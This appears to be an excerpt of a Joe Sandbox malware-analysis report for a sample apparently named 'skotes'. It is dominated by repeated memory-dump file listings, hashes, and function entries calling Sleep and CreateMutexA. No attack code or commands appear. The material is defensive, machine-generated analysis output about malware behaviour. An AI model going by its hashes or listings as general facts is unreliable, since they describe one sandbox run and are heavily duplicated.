Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 85a91d35df2fbb1d47c31ce9a477314607e8db91ec377fb077fb7b8fcecf092a
Instruction ID: 31d95e0b68a1ff2f30bc92f24497a6afd1bfe6b76055d1f32142f945fbff77d0
Opcode Fuzzy Hash: 85a91d35df2fbb1d47c31ce9a477314607e8db91ec377fb077fb7b8fcecf092a
Instruction Fuzzy Hash: 2F3179327851048BEB18EB78DD89FADB766EFC6314F248218F454AB2D5C73989848712

Function 0094A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 478596a1e5dc8d93084e4c5ff1ac744b49686aea94e93b8cca0512215e6e6946
Instruction ID: 29bbca784bd94082b7992264c1c92fefc9562c5727796e998477e0ad71fd88eb
Opcode Fuzzy Hash: 478596a1e5dc8d93084e4c5ff1ac744b49686aea94e93b8cca0512215e6e6946
Instruction Fuzzy Hash: 12316671B852008BEB28EB78DC89FADB766EFC2310F248218E414E73D1C73989848752

Function 00949ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f6527a47282fd9c26857724b8de43ed048491d7760538798c4da60e0aab7ccc3
Instruction ID: 801631b58e2ba38ce83ee799e676db5b652ff9a7516fd3916a80ccc5fa04b261
Opcode Fuzzy Hash: f6527a47282fd9c26857724b8de43ed048491d7760538798c4da60e0aab7ccc3
Instruction Fuzzy Hash: A52179327442409BEB18AB68EC89F6EF765EBD2310F208319E418D76D4C7758984C752

Function 0094A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 29f63bae916ea4816f1c23c84aec3fb612a69562c9fe64bbff25f08048cbd219
Instruction ID: a1a51d1eda69d9ee4bcead571eb3b3f4c8d6b158fafdaed64e8863ea0dc768f8
Opcode Fuzzy Hash: 29f63bae916ea4816f1c23c84aec3fb612a69562c9fe64bbff25f08048cbd219
Instruction Fuzzy Hash: 32217C717D92059BEB24A7B8989EF7FB255DFC2300F24491AE548D63D1CB7A498082A3

Function 0094A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0094A963
CreateMutexA.KERNELBASE(00000000,00000000,009A3254), ref: 0094A981

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948808211.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948835999.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948866354.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948895556.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948928189.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948955392.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948988212.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949014690.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949040607.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949067509.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949101787.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949128787.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949162627.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949189615.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949219120.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949249707.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949277317.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949304951.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949339881.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949370414.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949406424.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949437466.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949511852.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949544278.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949580282.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949606804.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949636232.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949663397.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949689716.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949714811.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949741455.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1949766984.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dff8f7aae11b43757c7d7e331b2ef72b1d413bf358f950f08cc6f1fe21b5c253
Instruction ID: 5e4b434166a0ffafe281a15d2d402597f65f2c8c5faadce39f29e4b673e60516
Opcode Fuzzy Hash: dff8f7aae11b43757c7d7e331b2ef72b1d413bf358f950f08cc6f1fe21b5c253
Instruction Fuzzy Hash: 832179323852009BEB18EF68EC89F7DB766DBD2310F248219E814D76D0D73549848752

Non-executed Functions

Function 00942EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00942F5F
GetCurrentThreadId.KERNEL32 ref: 00942F7E
__Mtx_unlock.LIBCPMT ref: 00942FCC
__Cnd_broadcast.LIBCPMT ref: 00942FE3
__Mtx_unlock.LIBCPMT ref: 009430F5
GetCurrentThreadId.KERNEL32 ref: 00943132
__Mtx_unlock.LIBCPMT ref: 0094319B

Memory Dump Source

Source File: 00000008.00000002.1948300017.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000008.00000002.1948274814.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948300017.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948387538.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948414125.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948445715.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948576154.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948602626.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948635845.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948661789.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948697228.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948754550.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.1948780616.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
